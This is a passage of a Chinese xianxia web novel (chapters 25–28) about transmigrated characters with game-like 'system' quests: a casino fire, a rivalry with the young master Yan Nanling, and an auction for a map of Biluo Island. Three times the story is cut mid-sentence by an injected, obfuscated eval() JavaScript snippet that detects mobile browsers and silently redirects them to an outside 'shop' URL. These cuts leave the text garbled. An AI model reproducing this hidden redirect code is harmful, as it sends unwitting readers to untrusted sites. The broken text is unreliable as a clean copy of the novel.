你们不是自诩乐善好施吗!你们不是要济世救人吗!来啊,他们就在你们脚下,就在你们身边! 还有那个女人,他扬起一抹笑,落锤起拍,只有我能救他们所有人!你不能! 他会把他们带走,带回遥彰城,带回燕家的领地,他会让他们拥有全新的、美好的未来!是他燕南陵救了他们! 台下众人似乎也陷入巨大的震撼冲击里,燕南陵只诉说了事实,他拿起一份已经废弃的卖身契,讲述了一个本该幸福的女孩是如何接二连三经历了母亲病逝、父亲染上赌瘾将她贱卖,这个女孩在长乐坊里又是如何自强不息地生存,是如何友善待人,是如何保护弱小——又是如何惨死在恶霸手中。 在长乐坊,想赎走一具尸体,需要十两,可是她亲人皆亡,被她帮助过的孩子们攒了又攒,也只有一两碎银。 满场寂静,只有木槌敲下,少年冷冽的声音回荡在众人耳边: “……起拍价,十两银子。” 几乎所有拍卖牌同时举起,价格迅速飙升到无法想象的数字。 花无定意思意思喊了一声后,饶有兴趣观察起来:同出身魔界的相思楼没有再举牌,仙界的几家加价叫的最欢,人间的几位使者看上去更像是习以为常。长乐坊的管事已经不见了,拍卖师在一边负责记录: “一百万灵石,第一次!” “一百万灵石,第二次!” “一百万灵石——” “轰——!!!” 座位摇晃,整栋楼在咆哮,接二连三的爆炸声响起,所有人的注意力都转移到自己脚下,转移到这座金碧辉煌的长乐坊上。 “炸了……快跑……”一个长相癞皮狗的人灰头土脸滚来,“快,快逃啊!她要把这里全炸了!” * 孟十八低头看向脚下的巨大窟窿。 叶轻舟和君瑶抬头看向还在掉灰的天花板。 他们之前威胁老狗,自以为成功,老狗带着他们左拐右转,又是楼梯又是斜坡,转到第三次看到相同的楼梯转向时,叶轻舟知道他们被骗了,被骗来鬼打墙了。 那老狗混迹长乐坊多年,自然也不是吃素的,像泥鳅一样呲溜一下消失在黑暗里,君瑶的刀还被无形的结界反弹回来,险些伤到自己。 灵石不能通讯,火光无法点燃,空间越来越狭小,二人心知肚明,老狗是想将他们活活困死在这里。 入目只有未知的黑暗,叶轻舟回想起自己在相思楼里接触过的现场,冷静下来,一点点探寻前路。 “轰隆——!” 那一刻,光明和孟十八一起出现在他眼前。 叶轻舟傻愣愣地抬起头,看向逆光的黑色人影,久不见光的眼里渗出一点湿意。 一切声音都消失了,整个世界也消失了,在黑暗里,只剩下这一点光明。 他的心,跳得好快。 怦怦,怦怦。 25. 隐藏剧情 大火仍在持续。 叶轻舟费劲地眨眨眼,他有很多话想说,但下意识出口的是:“你怎么找到我的?” 好蠢的问题,他被孟十八拉上来,改口道:“你用的什么?”这么大仗势的爆炸,完全不符合孟十八以往干净利落,控制在最小范围的作风。 “你的剑有感应。” 采葛剑适时发出一声轻鸣,提醒叶轻舟自己腰上的武器不是摆设。 这算什么?千机阁的附赠礼包?叶轻舟看了看采葛,又看了看孟十八腰间的破军,疑惑更甚。 同样被救的君瑶盯着孟十八哎哟了一声,“你是不是……你是不是那个,我们见过的……?” “对,明理书肆。”孟十八飞快接话,视线没在她身上停留:“这边,我们走。” “等一下!”君瑶和叶轻舟同时开口。 君瑶急忙道:“忍冬还在二楼,我先去找他们,还有一楼的……” “一楼的人已经被带走了,包括卖身契。”孟十八打断她的话,“我带你去二楼。” “还有我,”叶轻舟插话,他没法把话说的太明显:“我去给你善后。” 孟十八从灵网把坐标传给他:“你给的爆破符,很好用。” 爆破符? 他出发前备过常用的符纸,其中一半都是塞给孟十八的,武陵剑断后,他总怕她手里没有兵刃防身,也格外用心。 但符纸的质量终究取决于符师本人水平,叶轻舟如今仙力三境,放在青年一代还勉强排上,但是长乐坊……长乐坊这样的地方,不该戒备森严,难以攻破吗? 他之前和君瑶绞尽脑汁想的潜行计划算什么?他用法器测出的强大结界算什么?他以为须得神兵才能劈开的地方,孟十八只是用了他给的符纸,就直接让那个人间魔窟,沦为火海了? 怎么可能?他连法器都用不了的地方,在孟十八眼里只是一张符纸就能炸掉的? 她,真的好强啊。 ……她不会受伤吧? 他脑子里一团乱麻,有无数想说又吐不出来的话卡在心里,比火场的浓烟还要让他窒息,一时间竟也忘了要用法器,直接伸手去检测原地的灵力—— 什么都没有。 被抹去了,干干净净,不留痕迹。 叶轻舟心一紧,收起自己不合时宜的心思,急忙奔向下一个点位。 孟十八贴了八个点位,五个被抹去,三个被叶轻舟清除。 谁会这么做?为什么?帮她遮掩,还是另有图谋? 孟十八听完后,当机立断,客栈是不能回去了,她打开灵网搜寻起来。 “接下来我们去哪?”君瑶迫不及待问,她因为带着忍冬和两三个小孩走得慢些,现在刚赶上:“明灼,你有什么安全屋据点吗?” 明灼?叶轻舟愣了一下,这是孟十八在琅琊的新假名吗?他怎么不知道? 孟十八收起传讯光幕:“去明理书肆。” 苏横流很不高兴地接待了她们。 这位懒惰的老板先是抱怨君瑶交友不慎,又把门一合,折扇指着孟十八道:“扰人清梦,赔偿。” 孟十八没接话,通知她:“等会还有人会来。” 苏横流:“你还有同伙?” 她数了数在场人数,已经构成琅琊律法团伙作案。 “明灼啊,”她苦着脸,“你怎么非找上我?” 孟十八理所当然:“我们是老乡。” 在君瑶面前她不想主动提魔界,她说不清原因,孟十八下意识看了一眼君瑶,对方正在削苹果哄小孩,叶轻舟在旁边蹲着,手心里是一团星星。 他们是怎么认识的?孟十八强迫自己把视线从君瑶身上拔下来,在分清这种感情来源前,她还有正事要做。 苏横流同样坐在旁边看着,已然接受了这套理由,她摇头叹道:“你带来这小哥挺会哄小孩。”怎么你就只会大半夜吓我一跳。 “叶轻舟,我搭档。”孟十八言简意赅。 苏横流还想再说话,大门吱呀一响,清脆的笑声混着风传入室内:“我和你说今天可精彩了……” 进来的正是花无定,她看了看站在一块的孟十八与苏横流,又看了看在哄小孩的一男一女,毫不客气地往孟,苏二人中间一挤,甜蜜蜜道:“你俩居然认识呀?” 苏横流顺着阴阳怪气了两声:“人赃俱获,我现在就把你们举报了。” 她和花无定因为《子归笔记》认识多年,此时不损更待何时。 花无定娇笑一声:“千里姻缘一线牵,相逢何必曾相识,你我有缘,苏老板给我个面子呗。” 她手中变出一把团扇,将将挡住苏横流的折扇:“我们明灼看上去冷冷清清,好不容易有这么多朋友,你舍得让我们在牢中相遇吗?” 另一边叶轻舟给君瑶打了个手势,这种场合他们还是赶快带着小孩走吧,不该听的坚决不听。 孟十八直奔主题:“拍卖会怎么样了?” 好没劲,花无定把盒子交给她:“一分不多一分不少,完璧归赵。”又神秘兮兮问她:“火是你放的吧,小明灼?” “你可是打断了燕少爷的高光时刻啊!” 她眉飞色舞地描述起燕南陵的演讲,又提到在落锤那一刻的爆炸声里,燕少爷的脸色如何从白转红,像一个滑稽的染缸。 “……把城主都惊动了,你是没看见,突然天降水龙,哗的一声火全灭了,燕南陵也一身的水,站在门口让人守着挨个查身份!要不是我早早跑出来围观,哎呀,怕是要被困到明早!” “他现在还在?” 花无定唔了一声:“不确定,我走的时候燕家那个老头也来了,两个人估计会吵一架。” “燕南陵?” 君瑶从门后探出脑袋,她脑袋嗡嗡疼。 “明见燕家的……燕南陵?” 她没听到对方的回答,也没注意身后叶轻舟的脸色,她只看见自己的系统界面疯狂跳动起来。 【好感度:5】 * 《神魔》里的确没有这一段。 叶轻舟收起光屏,小说里燕南陵来到琅琊郡扮猪吃老虎,在拍卖会上大出风头,没有任何一段写他会因救人沦落赌坊。 君瑶自从好感度上涨,正在房间里思考人生,好感度背后的含义太多,她需要理清思绪。叶轻舟睡不着,独立中宵,折腾系统。 “原著没有的剧情是怎么回事?” 【隐藏剧情已开启】 【隐藏剧情:南燕-1】 【任务说明:在剧情之外,你发现了不该出现的人——燕南陵,他为什么会在这里?不如去看看吧】 【奖励:万能符x1,特殊成就x1,灵石x100】 说不心动是不可能的,光是特殊成就这一项,叶轻舟已经毫不犹豫点击接取,准备拿传送符走人了。 “叶轻舟。” 是孟十八的声音。 “你要去哪?” 一点心虚无端冒出来,叶轻舟看着现在假名明灼的孟十八,一点酸味漫过心脏,又涌向喉咙: 他是最后一个知道的,知道孟十八现在叫明灼,知道孟十八在琅琊认识了这么多朋友,知道孟十八和别人定下计划,知道…… 他什么都不知道,他不认识她的朋友们,他不知道她的计划,他连孟十八要去炸楼都不知道,但凡她和自己说上一句……可是难道说了他就能帮上忙吗? 他无端感到委屈,哪怕他知道她现在的名字呢,明灼,他在心里反反复复念了好久,好亮好亮的名字,就像他仰起头看见她,看见光。 “我……”叶轻舟的喉咙发痒,他分不清自己要吐出来的是什么。 “为什么不告诉我?” 我们才是搭档不是吗?我们经历过生死,为什么这些事,为什么你新的名字,我是最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不伤心。”叶轻舟露出和往日一样的笑,“我只是……终于想明白了一些事。” “还有一个小问题,”他现在又是那个可以一边干活一边唠嗑的搭档了,“为什么是‘明灼’?” 孟十八没有瞒他,“这就是我的名字。” “明灼,”他念出这个名字,像一个微笑,“你要去哪里?” “去找燕南陵。” * 琅琊郡府。 龙离渊重新坐回位置,耐着性子等对面的女人开口。 冷静,她告诉自己,把这个王八蛋杀了也不能解决妖界的事情。 从来琅琊郡第一天,她就要找这个答案,只有琅琊郡主才能给她解疑答惑,因为当时孟危只把方法告诉了琅琊郡主! 为什么不告诉我,龙离渊压着火气喝下一口茶,但凡她知道办法,现在别管什么琅琊盛会,至少妖界的边境已经能修补好了。 “哎呀,殿下见谅。”琅琊郡主满怀歉意地开口,“长乐坊突发大火,若非殿下出手相助,我们恐怕损失惨重酿成大祸,殿下真是……” “够了,”龙离渊止住她无谓的客套,“我要答案。” 郡主立马改口:“自然自然,殿下所关心之事,我早已知晓,昔日孟危尊主的确将此秘密告诉先祖,本意也是为了日后三界发展着想,哈哈,哈哈。” 她讲话随口就来,也不去管为什么魔尊会把妖界的结界透露给人族。 龙离渊已经忍耐到了极限,手指敲了敲桌面。 琅琊郡主笑眯眯道:“其实这个东西呢,殿下也不会陌生。” “妖界的结界,就是万魂幡。” “魂幡不在,结界不存。” 26. 真心话 魂幡不在,结界不存。 龙离渊的手重重拍在桌上,眉眼间腾起一股怒火:“胡言!” 妖界存在千年,而万魂幡碎不过五百年,怎么可能……她厉声道:“王乐善!你休要胡言乱语!” 哎呀,生气了,琅琊郡主王乐善笑眯眯地为她续茶:“圣子殿下,孟危尊主那般寡言之人,只留下几个字,也是情理之中。”不过龙离渊一脸怒气,怎么瞧都是不信。 王乐善悠悠吹了口气,茶香四溢,她心里一半瞧着有趣,另一半还留在长乐坊:琅琊王氏自己养出的摇钱树,被几个无名小卒烧掉大半,如何不心疼?原先和燕家已经谈拢价钱,谁知半路杀出个程咬金,直接把定好的戏台掀翻了。 龙离渊不知道对方满脑子打着算盘,她不明白,孟危生前,万魂幡从不离身,妖界的结界从未出过事,孟危走后,五百年里她年年探查,也不见疏漏,为什么,为什么孟危留下的解决方法竟然如此含糊不清? 但如果只是要魂幡,龙离渊起身,她知道要去找谁。 * 燕南陵依旧站在长乐坊门前。 小荷怕他被大火熏傻了,担心地伸手碰他额头,“你在等谁?” “她。”燕南陵嘴唇翕动,她一定会来,那个毁了他的计划,把长乐坊炸掉的女人,哪怕是为了自己手上的卖身契,她也一定会来。 她如果不来,那么还是他赢,还是他真正救了那些人。 小荷不明所以,捧着新买的烧饼在边上陪着,烧饼是燕家人买的,那些人看她的眼神让她很不舒服。 “诶!燕南陵!你看那边!”小荷远远看见叶轻舟和一个黑衣女人并肩而来,连忙拉着燕南陵去看:“那个哥哥就是我雇的。” 燕南陵死死地盯在那个女人身上,这个连名字都不知道的女人,这个事后把痕迹清理得一干二净的女人,来历不明,绝非仙盟之人,多半来自魔界哪个阴暗角落。 叶轻舟没想到还能碰到小荷,自然地和她打过招呼,又向孟十八介绍:“小荷,我和君瑶的雇主,小荷,这是我朋友,明灼。” “明灼姐姐,”小荷嘴甜,还不忘身边的少爷:“这是……” “燕南陵。”燕南陵冷声接话,“明灼,你还敢出现?” 蓄意纵火,恶意伤人,偷窃财物,团伙作案,哪一条都够他把明灼送去吃牢饭。 孟十八在魔界也不是好公民,自然不在乎,开门见山:“我有三件事找你。” “第一,我要你手上的卖身契。” 燕南陵嗤笑一声,“怎么,还想抢我功劳?” “我要把它们都烧了。” 燕南陵的冷笑僵在脸上,他不可思议地看着孟十八,“你在说什么?” 她凭什么?他狠狠地咒骂,她凭什么又和自己想到一起去了! 偌大个燕家没有一个人支持他的想法,那些人张口闭口都是在资源利益,他们同意燕南陵救下他们不过是因为琅琊王开出了更高的价码——即使这样,随着长乐坊被毁,这一百多条命,再次被放到谈判桌上。 “烧了以后呢?”他嘶嘶反问,能听见自己牙齿相撞的声音,“他们无处可去,你来接济他们?把他们带回你的地盘?魔界?”他克制不住心里的怒火与恶意,“你想让他们变成思乡渡口的流浪儿吗?” “我会问他们的意见。”孟十八对他的愤怒习以为常,甚至困惑,这个被花无定吹为救世主的少年,对她的一举一动总有百八十个不满,“这就是第二件事,我要见所有长乐坊的雇工。” 这话她先前问过忍冬,比起坐拥十城九郡的明见燕,她的确没有任何优势。 “他们会在遥彰城得到想要的生活!”燕南陵说的又快又急,比起炫耀更像是在说服他自己,“他们不会再缺衣少食,不会再受人打骂,衣食住行,学习工作,我会为他们安排。用不着你操心!” 孟十八只说:“那你为什么害怕我去见他们。” 死寂。 叶轻舟在心里戳系统:“这就是男主吗?说好的意气风发,昂扬少年呢?” 系统默默更新: 【你发现男主和原著不同,不过原著里也没有这段剧情,这就是隐藏剧情的魅力】 【隐藏任务,已完成】 【恭喜获得特殊成就:你急了】 叶轻舟忍住笑意,心想你们打补丁的样子还没有孟十八一句话杀伤力大。不过奖励就这样轻轻松松拿到手,他还有点不好意思,万能符回去就给孟十八了。 “害怕?”燕南陵反问,是啊,他为什么要害怕,凭借魔界这几百年的名声,他只要说出明灼的来历,绝不会有人自愿和她走。那他为什么没有立刻反驳,他为什么……为什么他看到这个女人的眼睛,就只能看见狼狈的自己。 孟十八又道:“我不会带他们去魔界。”魔界通行证不好办。“我会带他们去人间。” 以防燕南陵不理解,她补充道:“他们大多是凡人。” 合情合理,小荷扯了扯燕南陵的袖子,怕他当街做出不理智的事。 燕南陵定定地看着她:“我知道了。” 他知道了,不代表他赞同。 他念出那个名字像要把字刻进血肉,“我们还会再见的,明灼。” 孟十八的举动出乎他人意料,她直接拿出腰间挂的灵器,示意对方:“提前告诉我时间。” 燕南陵原先想维持的体面退场变成了互加灵网好友。 包括叶轻舟和小荷。 叶轻舟走了半条街才敢笑出来,“你怎么想出来的?”他忍不住问:“燕南陵脸都绿了。” 孟十八要是能读懂气氛就不是孟十八了,“方便联络而已。” 好吧好吧,没想到现场看到男主吃瘪这么有意思,“你的计划是什么?” 孟十八没瞒他:“刘慈在重建武陵,那里灵气充盈,经验丰富。” 处理童工问题上确实经验丰富,叶轻舟敛起笑,“离魔界也近,确实是个好地方。我可以先去问问忍冬他们的想法。” 孟十八可有可无点头,状若无意问:“你和君瑶,怎么认识的?” 来了,叶轻舟解释:“我那天在楼下吃饭,看到她把吃白食的打出去。” 他随口反问:“你和花无定呢?她知道你身份?” “因为燕南陵,不知道。”孟十八还想再问更多,腰间灵器一震,灵网上龙离渊要她回客栈。 “我先去客栈,你回书肆。” 孟十八以为龙离渊来问她长乐坊的事,按照苏横流的说法,龙离渊作为孟十八的上级,还有一层包庇罪。 但是龙离渊完全没有提及,她在屋里用传讯符和人单方面吵架,孟十八站在边上眼观鼻鼻观口,一句也没往心里去。 “……她自己去不行吗?”龙离渊努力说服容与:“妖界的事情就是我的事,如果那群虫豸发现了妖界的破损,我不能……” “你也是魔界的圣子,”容与的声音通过灵力有些失真,“琅琊盛事只剩半月,我已经派兵去驻守边界。” “这根本没用,他们走的是人间路,”龙离渊心里急得要命,“小容姐,你明知道她都在这了!”她索性把商量变成通知:“我自己去,剩下的交给她来办,就这样!” 她看向孟十八,直接道:“把你拿到的第一块魂幡给我。” “若是陛下没有再派人手,琅琊盛事就交由你办。”一枚玄铁令放在孟十八手上。 “无论代价,魔界要拿到那张地图。” 事已至此,她不再隐瞒,“那张地图上记载了碧落岛。” 当年仙界救世主柳原,就是失踪于此。 碧落岛,柳原,《子归笔记》,昆仑,明灼。 与她的目标再次不谋而合。 找到碧落岛,就能找到《子归笔记》的线索,她就能知道明灼的过去。 孟十八没有犹豫,“我明白。” 龙离渊还想嘱咐点什么,“还有,琅琊盛事结束后,拿着这块令牌去妖魔道,让她们带你去妖界找我。” 她知道孟十八没有记忆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299969|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是她的妖妖,可她还是问出口: “孟十八,我问你,若你手中有绝世神兵,你会在什么时候,把它们分为碎片?” “不能取舍的时候。” 她脱口而出,理所当然。 “不然,我会在那里。” 所以你抛下了妖界,抛下了魔界,抛下了我们,一个人去赴约。 孟危,龙离渊试图找到故人的痕迹,原来你是这样想的。 那个人对你而言,比我们,比妖魔两界,比你自己都要重要。 “你去吧。”龙离渊听到自己的声音,仿佛回到五百年前。 “我在妖界等你。” * 君瑶不死心地又确认一遍:“这的确是无CP小说,对吧?” 叶轻舟也再次投出大结局,书里燕南陵踏天成神,独自为尊:“是的,这是无CP。” 君瑶再次长舒一口气,喃喃:“那一定不是他。” 好感度突然涨到1是恋爱番,直接涨到5那就有点诡异了。按照君瑶多年乙游经验,自己一定是做对了一个重大选择,才能得到这史诗级一步。 “所以这个好感度,应该是小荷的。” 君瑶振振有词,“涨到1那次,是我们去长乐坊探底,是在帮小荷,也是你系统上的任务,涨到5的时候,正好你的任务也结算了,可见我接下来只需要抓住小荷的胃就能美美刷到100,然后……”她想不出来,“刷满了会怎么样?” 君瑶的系统永远沉默。 叶轻舟的系统表示不兼容,无法回答。 “其实还有个可能,”叶轻舟石破天惊,“这个好感度,也可能是指你的系统对我的系统。” 不然为什么他们一起接任务就会涨好感? 君瑶张大嘴,“天才啊老乡!”她举一反三,“说不定我们的系统是残次品,你这里显示的是任务,我这里显示的是累计好感!” 快快快,她示意对方,还有没有别的短任务,快接一个看看情况。 系统最不缺的就是任务,琅琊郡的区域进度现在是5%,叶轻舟也顾不得奖励,从下往上翻,还真有好几个助人为乐的日常任务。 【日常任务:热气腾腾牛肉面】 【日常任务:阿嬷的水桶】 【日常任务:偶遇搭档】 【突发任务:和你的朋友说说话吧】 “就接这个,”君瑶好奇:“这是什么任务?” 【突发任务:和你的朋友说说话吧】 【任务内容:身边有朋友,桌上有佳酿,说说心里话】 【奖励:灵石x100】 “这简直是为我们量身定做,”两人都在彼此眼里看到光,一百灵石,平分之后都是一笔可观的数字。 “我先说,”君瑶见叶轻舟已经接取任务,清清嗓子:“其实我看到好感度增加后很感动。” 叶轻舟有学有样:“其实我拿到奖励后也很感动。” 系统界面纹丝不动。 君瑶再接再厉:“其实我特别讨厌我们学校,更讨厌我现在的老板,她天天脑子一抽就要我去折腾创新菜,我又没有外挂金手指,我也想把汉堡可乐复刻出来啊!”说完她把手里的茶水一饮而尽。 叶轻舟紧随其后:“其实我们老板钱多事多,我之前被坑进去的时候还以为自己要嘎了。” “其实我现在还隐姓埋名,防止仇人卷土重来。” “其实我真的是符法双修但是被老板当清洁工了!” 两个人热火朝天说了半天,系统依旧一动不动。 叶轻舟说累了,脑子也转不动了,嘴巴速度第一次超过大脑。 “其实我真的很喜欢明灼这个名字。” 君瑶一脸惊讶。 叶轻舟下意识摆手:“我不是,我不是这个意思!” 系统发出机械提示: 【突发任务,已完成】 完了。 叶轻舟绝望地想。 他怎么会说出这么奇怪的心里话。 27. 琅琊盛事 长乐坊的大火并没有影响到琅琊盛事的举办。 但是叶轻舟心里的火是彻底烧起来了。 他看向镜中的自己:黑发玄衣,配上银纹面具,笑容正好被遮住,平添几分帅气。 头一回觉得自己这么像魔修,叶轻舟忍不住转了个圈,也不知道明灼喜不喜欢。 不对,是孟十八,不对,明灼就是孟十八。 他兀自纠结,孟十八已经换上一身玄色衣袍,上有暗纹金绣,似龙非龙,张牙舞爪地盘踞在她肩头,一双黑沉沉的眼眸被衬得更加凌厉。 “走吧。”叶轻舟伸出手,声音从面具下传出,有些闷沉。 孟十八同样戴上兜帽,遮去双眼。叶轻舟指尖一动,传送符将二人直接送到琅琊台。 琅琊台热闹非凡,外面天未暗,屋内已经张灯结彩,灯火通明,处处镶嵌着宝珠明玉。 身着襦裙的侍者见到孟十八手中玄铁令,笑盈盈将他们引去四楼包厢,又贴心奉上茶水后自觉离开,倒让路上一直在给自己编假名的叶轻舟松了口气。 “你有什么喜欢的?”孟十八照例先检查环境,以防万一,那本拍卖图册在叶轻舟手里翻动,这半月来他们没少研究其他世家的目标:“楼主已经答应全力支持我们。” 叶轻舟哑然失笑,薅公司羊毛的机会近在眼前,自然不能白来,拍卖品里有珠宝首饰、灵植材料,更少不了法宝武器、功法秘籍,他心里盘算着要不还是给公司省点钱吧。 【剧情任务:拍卖,已接取】 【任务内容:来都来了,拍一件走吧。】 【任务奖励:惊喜盲盒x1,特殊成就x1,灵石x1000,银两x6666】 真是打瞌睡送枕头,叶轻舟决意欣赏一番。 其中有件他很是心动,花神系列的千鸟印,出自炼器大师瑶师,她所做花神系列十二件里,紫藤剑归于魔尊,解语刀不知所踪,其余大多归属于各大门派世家,千金难求。千鸟印是这系列里异类,它作武器太小,作暗器又不方便。不过,叶轻舟盘算着,若是有千鸟印,加强阵法威力,甚至于给剑附魔肯定不在话下。 “你喜欢?” 孟十八冷不丁问道。 叶轻舟还没回答,门被推开了。 “哟,你们也到了?” 花无定如一只蝴蝶翩翩飞来,“魔界的审美还是老样子,莫非你们魔皇陛下还在守寡不成?” “花痴,你快闭嘴吧。”苏横流落在后面一步,“你跑这干什么!” 花无定假装没听到,眼珠一转:“您二位这身穿的,金银相配,远远看上去,可真像一对——” 她故意歪到孟十八边上仔细瞧她脸色。 孟十八只顾看图册上的千鸟印介绍。 没劲,花无定故意拐着弯说出后半句:“像一对生死之交挚友情深哇!” 她顺势摘下孟十八的兜帽,半是有趣半是可惜地发现这人居然脸色如常。 孟十八也不接话,“苏横流,带走。” “我可不是回收站。”苏横流乐见其成凑过来:“你们对千鸟印感兴趣?” 这就到她知识领域了,苏老板很热心介绍道:“千鸟印之名来源于千鸟草,但是千鸟草出自于瑶花琪草所著《侠女天涯》,所以实际上并没有这种灵植。 瑶师花神系列,虽名为花神,但也与大众所评选花神大相径庭,颇有意趣。” 孟十八抬眼看向叶轻舟,而叶轻舟只顾着逃避对方眼神随口吐槽:“好多瑶,好多美玉。” 花无定笑得花枝乱颤。 苏横流用折扇敲自己脑袋,拉回主题:“说正事,花痴搞到点情报。” 花无定接道:“你们知道对面坐的是玄明孟家吧。” 整层四楼只有两家,魔界,与玄明孟。 把结为世仇的两方放到对面,琅琊郡主真的是异想天开。 “明见燕很不满这个排序。” 人间皇室与其他大宗世家被安排在三楼。 “所以他们会竭尽全力拍下地图,”苏横流靠在墙上懒洋洋提议:“要不要帮忙?” “不必。”孟十八淡然接话:“碧落岛地图,我必得手。” 金玉满堂,熏香缭绕,她偏偏把一句话说得像宣战。 花无定嘻嘻一笑:“小明灼,你就不能看看气氛吗?”她抱怨着吃起桌上的茶点,评价道:“不愧是四楼,糕点水平都不一样。” 苏横流用扇遮脸,极其后悔自己,“花痴,你又不是饿死鬼投胎,咱们别在这丢人现眼了。” “诶我不要走!”花无定绕着圈,停在叶轻舟面前,眼睛一转:“叶小哥,继续保持。” “这个风格很适合你哦!” 两人打打闹闹走了,留叶轻舟一个人脸热心跳。 还好面具挡着,他无比庆幸地又看向孟十八,她不知道,她肯定不知道。 “她说得没错。” 孟十八重新戴上兜帽。 “很适合你。” 没等叶轻舟回答,周围灯光熄灭,拍卖会即将开始。 随着钟声敲响,琅琊郡主王乐善如天女下凡出现在琅琊台上,三言两语就炒热了气氛,三楼包厢也渐渐拉开幕布,露出或严肃或平淡,或苍老或年轻的面庞。燕南陵坐在他父亲身旁,眼睛一直在盯着魔界那块,目的不言而喻。 “……凡所拍卖,皆为真品,价高者得!”王乐善说完规则潇洒离场,坐在她独一无二的宝座里细细观察众生相:“圣子殿下果然审美极佳,连手下都姿容绝世,气度不凡。” 在一旁侍奉的侍女只能应和,谁知道城主是怎么从加起来只能凑出一张脸的两个人身上看出姿容绝世。 玄明孟家这次同样派出年轻一代的翘楚孟景驰,叶轻舟假装不经意扫过去,果然看到自己师尊神色肃穆坐在一边,要不是他现在隐瞒身份,他还真想用留影石拍下纪念发给师姐分享。 “你在想什么?”孟十八头也不回问道,开场结束,她迅速合拢幕布,把视线投回投影光幕。 我在想我们的衣服是不是看起来真的挺般配的。 叶轻舟哪敢说出来,只能继续转移话题:“我还没参加过这种拍卖会呢,哈哈。” 第一件拍品是一套红宝头面,最终被坐于二楼的一修士拍下当新婚礼物。 第二件是飞尽花,产量稀有,药效罕见,被几个药修争抢,同在一楼的花无定也趁机插了一手报价,苏横流强忍没敲她。 孟十八淡淡看着:“灵气太浓,难以入药。” 叶轻舟在边上托腮看热闹:“那还不如生啃灵石。” 转眼五件过去,叶轻舟心中直呼上当,他以为精彩绝伦智斗巅峰的拍卖会居然真的就是出价报价加价成交。好无聊,好没有意思,他都不想完成系统的任务了。 “下一件拍品,是瑶大师花神系列十二件中的千鸟印,其印玲珑小巧,上雕千鸟花,起拍价:三万灵石!” 叶轻舟仔细瞧着光幕上的千鸟印,这个图案他总觉得熟悉,像在哪里见过。 楼下的竞价声此起彼伏,转眼就炒到十二万。 “十五万。”孟十八第一次开口。 啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322199|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?叶轻舟回神愣愣看向她,为什么? “你喜欢。”孟十八补充了一句:“你需要。” 三楼传来一个熟悉的声音:“十八万。” 是燕南陵。 明见燕的包厢里,燕南陵死死盯着四楼的幕布,这个声音……难道她是魔界使者?这是她的计谋,还是她的心血来潮?明灼,这个女人到底想要什么! 他听到那个女人报价二十万,只觉热血上头,心里只有一个念头:绝不能让她得偿所愿! 他想也不想:“二十二万!” 一楼二楼陷入沉默,三楼的视线一部分转向四楼,一部分落在燕南陵身上。 “二十五万。” “三十万!” 他要那个千鸟印自然没用,但是他咽不下那口气。 拍卖师笑容满面:“三十万!还有更高价吗?” 其他买家已经歇下心思,他们在等后面的拍品。 “三十五万。” 叶轻舟看上去还坐在那里,其实人已经僵住了。 他不明白孟十八为什么这么做,是因为燕南陵的挑衅吗?这是因为他的出现而被改动的剧情吗? 为什么?他想让孟十八停下,他想说其实没必要,他想说…… “四十万!”燕南陵站起身,一双燃着怒火的眼睛恨不得烧穿幕布。 “五十万。” 燕南陵被一只手按在座位上,他的父亲看向他,只说了一句话: “燕南陵,别忘了你要的是什么。” 他的目标,燕家的目标,他们必须要得到的,绝不是眼前的蝇头小利。 他是剑修,他用不上这种东西,他只是在赌气较劲,为了一时输赢。 燕南陵不再说话。 “五十万灵石,恭喜贵客拍下!” 叶轻舟已经惊讶到说不出话了,五十万灵石,他不吃不喝都要攒五年,相比之下,系统发的一千灵石奖励只能叫杯水车薪。 “为什么?”他没力气发问,“为什么要拍下……” 孟十八则有些疑惑,一个在魔界宅院里把灵石当柴火烧的人居然会为五十万灵石而露出痛彻心扉的模样,她只能归结于叶轻舟的金钱观与众不同。 “你用的上。”她还是同一个理由,“你喜欢,为什么不买?” “那你……”叶轻舟咬住嘴唇,他不知道该看向哪里,他怕看到孟十八的眼睛,怕看到她眼里的自己。 值得吗?他在心里问她也是问自己。 “你不擅长用剑,”新拍品对孟十八没有吸引力,她耐心对搭档解释:“千鸟印对你,对我们都有帮助。” 她说了我们,叶轻舟又呆住了。 “我出去一趟,”他慌忙起身,狼狈离去。 她说了我们。 她说了你喜欢。 叶轻舟扶墙深呼吸。 她因为我喜欢,所以花了五十万灵石……相思楼能报销这么多吗?五十万……叶轻舟突然发出一声怪笑。 她对我,有没有一点点,与众不同? 他的手按在胸膛上,听着咚咚的心跳。 完了,他绝望又甜蜜地想。 他真的完了。 与此同时。 琅琊台上,一幅画卷在拍卖师身后缓缓展开,与此同时,半空里,以幻影术法做成的画卷也清晰地出现在每个人眼前,在山清水秀的图卷上,被朱砂笔龙飞凤舞地题上“碧落”二字。 “这就是目前唯一记载碧落岛方位的地图,镜花水月!” “起拍价——五十万灵石!” 28. 镜花水月 镜花水月图被展出时,君瑶正战战兢兢端着盘子推开三楼的包厢。 